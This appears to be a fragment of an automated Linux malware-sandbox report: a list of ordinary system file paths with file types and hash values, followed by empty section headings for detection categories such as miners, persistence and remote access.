/var/cache/man/nl/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	27FED1CA8EB0101C459D9A617C833293	503B2A3E33FE79FF2CD58F831ED33DB358849BEA	C3033C4F7CF0D6108611EF5A62CA893F98EE6463DDCFF7100D3BAFDEB0036D9E
/var/cache/man/nl/index.db.jTqt8c	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/pl/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	37CEBCD3F5BF6322785FFF568EE33131	201298C827C77C60CD314BF721DC4C27EF95BD64	012C5597C5DD8654EB14432AFCEFD9B131F2CE75AD21488991A5A688929AAEA6
/var/cache/man/pl/index.db.Pgoryb	GNU dbm 1.x or ndbm database, little endian, 64-bit	F0B902DEA5EF122A0B1F0F496DDC781B	90176D320A9C3601787D53CC346DC743367D53F1	CFD64D42263C5D323AF423FC09CDB5DDB2F914114B87BAB6566EAB1020F15DE0
/var/cache/man/pt/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	782FF89B6FA5932F7019AF9CF3F82E43	2ECE8DC134E3A292E2545AA2DCD24114A5FC5749	01E77D9235C524F2A61EA03953607C13831C391A5B9AB0D9094F9C38F0EEB02E
/var/cache/man/pt/index.db.V08lsd	GNU dbm 1.x or ndbm database, little endian, 64-bit	F0B902DEA5EF122A0B1F0F496DDC781B	90176D320A9C3601787D53CC346DC743367D53F1	CFD64D42263C5D323AF423FC09CDB5DDB2F914114B87BAB6566EAB1020F15DE0
/var/cache/man/pt_BR/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	A11F5E85A2A07AF84255570AE29318FB	D06BF25E5FD4A17BCF7C5BD77ACD747F0FE181E8	8FFA8BC408B254217275A622D054853CB72B08409A11AA49C4C664C0DABFB62F
/var/cache/man/pt_BR/index.db.sM37nc	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/ru/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	DF5C1114538C5D8EA1EE929FFAC24E3C	B6331AF77566B63EA8204BE85F5DC99FAF51479E	F238C75DAD82E10AB011A9BF79775B2A5F5889644A5A06835933340845A08555
/var/cache/man/ru/index.db.Si5swa	GNU dbm 1.x or ndbm database, little endian, 64-bit	5B66CE03BFE548DEE335E0518E4E0554	65397845DC679AA972454B0FF237A513C0F490CB	C38BB21B1D92166794DC09807C9A55B67B0A760C684FEEDD0C931F8415DD6D29
/var/cache/man/sl/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	67697BEA7C23E4805A82FE9755BB3CAE	14ACAFF0BECBDB116E4C0BC329E59DEF68CF46D1	553DA7FF76999B7CCC4450498B11E6BD98B3B1E5FF81D82A53568F84B0D270D5
/var/cache/man/sl/index.db.M9fb8a	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/sr/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	0DD75ECC81E4E564EA56A57FF32A24D3	859C0FE5F86A2C5A32BAD7920787BE845F34C4FB	DB778B175D19DEFA4180D0B12D675AD0B8B22CC4BB77702D9EC8510F894EB3B1
/var/cache/man/sr/index.db.LW0See	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/sv/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	D97454D6B1F39F39966A809BCA3D9647	276931CED8F34B7651C1BDFC8522FF0560E2C377	DCB8CE7F4F21595D851100F315C56B717541DB898AEB9ED9C0CCC9FF217A5801
/var/cache/man/sv/index.db.LkybUd	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/tr/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	5F905B930E7310E72BC3DF5C50F8E579	50B1AD3115F095C743CB26F87ECCE406FAC3523B	1DB72BA77CA01F25CA9768999825D8F97F5ED4D00E17C9130D6F7CDE34130270
/var/cache/man/tr/index.db.swsVIc	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/zh_CN/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	39398A15564A55EB7BFE895D7668A5A3	28DA677435B87176E08AFABBF8B51F7B93E22948	A4C0216476E357ED3A23E71333DBE7DE91E04370EF049032EE8E47BB1EDBD83B
/var/cache/man/zh_CN/index.db.bcwHQa	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/zh_TW/5237	GNU dbm 1.x or ndbm database, little endian, 64-bit	1FC5F2B98E5BC25B10373353D91B86B1	D848DA35B0731328195D59C1E996B95C4952F1F9	509FAD18B4454CD70D974755F6156D4A5FA9B960AB9FF468D1FC350F0B64F379
/var/cache/man/zh_TW/index.db.bC9P9b	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/lib/AccountsService/users/gdm.76LEG1	ASCII text	542BA3FB41206AE43928AF1C5E61FEBC	F56F574DAF50D609526B36B5B54FDD59EA4D6A26	730D9509D4EAA7266829A8F5A8CFEBA6BBDDD5873FC2BD580AD464F4A237E11A
/var/lib/logrotate/status.tmp	ASCII text	F0C052B6C5F943382915E7069B27E4E6	6BF7740785F9CEBF7A68DDBA1081BC8582B473BE	6A572EF73B8DD9C36B5F638D5A4E37401B7BD313A0E3125EA4C4A86FC8560E5B
/var/lib/ubuntu-drivers-common/last_gfx_boot	ASCII text	078760523943E160756979906B85FB5E	0962643266F4C5537F7D125046F28F21D6DD0C89	048416AC7A9A99690B8B53718CD39F32F637B55CC8DD8E67E58E5AEF060DD41C
/var/lib/whoopsie/whoopsie-id.2X39F1	ASCII text, with no line terminators	D2B5AAF22916F8D6665CF9E835EAD5E7	AAEF3CE527B8F1E3733BCD03EF7A6C0F30881E15	FEB925D4465BF6D30A42B19112406AD1B59BA90673DC4F91B25005A90FEFEB36
/var/lib/whoopsie/whoopsie-id.8NA5F1	ASCII text, with no line terminators	D2B5AAF22916F8D6665CF9E835EAD5E7	AAEF3CE527B8F1E3733BCD03EF7A6C0F30881E15	FEB925D4465BF6D30A42B19112406AD1B59BA90673DC4F91B25005A90FEFEB36
/var/lib/whoopsie/whoopsie-id.AV6IG1	ASCII text, with no line terminators	D2B5AAF22916F8D6665CF9E835EAD5E7	AAEF3CE527B8F1E3733BCD03EF7A6C0F30881E15	FEB925D4465BF6D30A42B19112406AD1B59BA90673DC4F91B25005A90FEFEB36
/var/lib/whoopsie/whoopsie-id.F0OEG1	ASCII text, with no line terminators	D2B5AAF22916F8D6665CF9E835EAD5E7	AAEF3CE527B8F1E3733BCD03EF7A6C0F30881E15	FEB925D4465BF6D30A42B19112406AD1B59BA90673DC4F91B25005A90FEFEB36
/var/lib/whoopsie/whoopsie-id.L069F1	ASCII text, with no line terminators	D2B5AAF22916F8D6665CF9E835EAD5E7	AAEF3CE527B8F1E3733BCD03EF7A6C0F30881E15	FEB925D4465BF6D30A42B19112406AD1B59BA90673DC4F91B25005A90FEFEB36
/var/lib/whoopsie/whoopsie-id.L5C5F1	ASCII text, with no line terminators	D2B5AAF22916F8D6665CF9E835EAD5E7	AAEF3CE527B8F1E3733BCD03EF7A6C0F30881E15	FEB925D4465BF6D30A42B19112406AD1B59BA90673DC4F91B25005A90FEFEB36
/var/lib/whoopsie/whoopsie-id.YCR1F1	ASCII text, with no line terminators	D2B5AAF22916F8D6665CF9E835EAD5E7	AAEF3CE527B8F1E3733BCD03EF7A6C0F30881E15	FEB925D4465BF6D30A42B19112406AD1B59BA90673DC4F91B25005A90FEFEB36
/var/lib/whoopsie/whoopsie-id.YN9ZF1	ASCII text, with no line terminators	D2B5AAF22916F8D6665CF9E835EAD5E7	AAEF3CE527B8F1E3733BCD03EF7A6C0F30881E15	FEB925D4465BF6D30A42B19112406AD1B59BA90673DC4F91B25005A90FEFEB36
/var/log/auth.log	ASCII text	5DB3B47108AD8DF103D4AB3B69B46ECB	0EC1995915C0F5DD1227D055CF375F0F1BADD77B	867B7239862E9F20D1470EB4626588A6F4C4AC6912101B6CD299D8CB4E0DD735
/var/log/cups/access_log.1.gz	gzip compressed data, last modified: Fri Jan 14 23:10:01 2022, from Unix	3E32CBA9BD67157F2488A22F02E31743	F052026E811F114596CDA8531D2C5405696875DD	AF6E01609717554F9C4AED6ADDDCAA114E0E58DB416E82A4D11E5D440B79513F
/var/log/gpu-manager.log	ASCII text	3AF77E630DA00B3BE24F4E8AA5D78B13	BCF2D99E002F6DE2413A183227B011CFBEF5673D	EB1CBBA20845237B4409274D693FEAE13F835274DA3337B7A9D14F4D7FDF9DEA
/var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/system.journal	data	790A24F42219667CA676C01CF227AD21	F5A5E89C278880F46C739352F913B5600E859949	AD7725E2C03A2057E06951D4E8D3CC915DADBB7779A9B41C3294C861462C5C0F
/var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/user-1000.journal	data	C73DA717CA223CCCE40CDB2DE643E5F1	511C3D5FC6C4144B5FBD4B7052A843AFB189D0BF	488BB4D2104A76E99C7282DA09A80DDAFE94954A7105D207EEF0E1F03CA17663
/var/log/kern.log	ASCII text	9C3D488B870D634D883972AC3BBF4204	A1BFAEDE0CD1BF4B5CC176B89ED7CF6CAA36B206	0A210E331FC05A307D0478F7DC6E3319FF898B5E098880A62D412746F5CCD172
/var/log/syslog	ASCII text	84007844B0A9F85BEDE752B7B1ED7A12	9B87AA5B6B59440640BB98DDE61B809B5F413BA0	0287744F1B767E0D4D0D3500C5818D155D21AFC0051B4E465A38B8B225003529
/var/log/syslog.1.gz	gzip compressed data, last modified: Fri Jan 14 23:10:01 2022, from Unix	CC146B26D0CD8CA5C7B620723E716C8D	7895C5564A4CCE7FCFB5DD5391151DEB4E335E59	BBA423B52D8912A492EC8ED7A595FBE8E915587ECC5F165DA7BB9D1B72D8E69D
/var/log/wtmp	data	0EF06A43C5C2F6730EA432B303B0A20A	EAD726FAE27D763643A3F752D4212510ECC938A7	76A3F9BE48093B2457C21A59B01C4A31759E27F9922DC55E132203A40FDAFFD9

Linux Analysis Report nSg5RM0w0d

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection:

Bitcoin Miner:

Compliance:

Networking:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Screenshots

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs